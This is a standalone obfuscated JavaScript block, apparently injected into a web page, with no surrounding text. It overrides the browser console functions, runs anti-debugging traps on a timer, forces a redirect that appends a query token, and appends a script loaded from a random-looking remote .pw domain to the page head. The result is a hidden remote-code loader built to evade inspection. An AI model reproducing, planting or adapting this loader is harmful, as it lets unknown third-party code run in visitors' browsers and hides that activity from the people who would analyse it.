<script>var _0x53b89c=function(){var r=!0;return function(n,e){var t=r?function(){if(e){var t=e.apply(n,arguments);return e=null,t}}:function(){};return r=!1,t}}();!function(){_0x53b89c(this,function(){var t=new RegExp("function *\\( *\\)"),n=new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i"),e=_0x29de20("init");t.test(e+"chain")&&n.test(e+"input")?_0x29de20():e("0")})()}();var _0x5f49cf=function(){var r=!0;return function(n,e){var t=r?function(){if(e){var t=e.apply(n,arguments);return e=null,t}}:function(){};return r=!1,t}}(),_0x1e75bd=_0x5f49cf(this,function(){try{var n=Function('return (function() {}.constructor("return this")( ));')()}catch(t){n=window}for(var t=n.console=n.console||{},e=["log","warn","info","error","exception","table","trace"],r=0;r<e.length;r++){var c=_0x5f49cf.constructor.prototype.bind(_0x5f49cf),o=e[r],i=t[o]||c;c.__proto__=_0x5f49cf.bind(_0x5f49cf),c.toString=i.toString.bind(i),t[o]=c}});_0x1e75bd();var wethztbpfdmlpvbgcijxnvq="!@KGqPen1Bsk0pfg8WRw@!&tAPqYLS3vklVQ9ZNTx2mod&!@";-1==window.location.href.indexOf("bbre=")&&(window.location.href=document.location.pathname+"?bbre=mgxZdHSUjivNsqh#/ld-"+ktxzeymfaqoadnghrevrvsgbli);var emfromgetnbrtoo="",EAYFUdcPpnfZsBhkux=document.createElement("script");function _0x29de20(t){function n(t){if("string"==typeof t)return function(t){}.constructor("while (true) {}").apply("counter");1!==(""+t/t).length||t%20==0?function(){return!0}.constructor("debugger").call("action"):function(){return!1}.constructor("debugger").apply("stateObject"),n(++t)}try{if(t)return n;n(0)}catch(t){}}setInterval(function(){_0x29de20()},4e3),EAYFUdcPpnfZsBhkux.type="text/javascript",EAYFUdcPpnfZsBhkux.src="https://evrjkexidzfmoumxt.kute.pw/6671a4a3d5f389fbc891c5ee-6671a48ad5f389fbc891c5ed.js",document.getElementsByTagName("head")[0].appendChild(EAYFUdcPpnfZsBhkux);</script>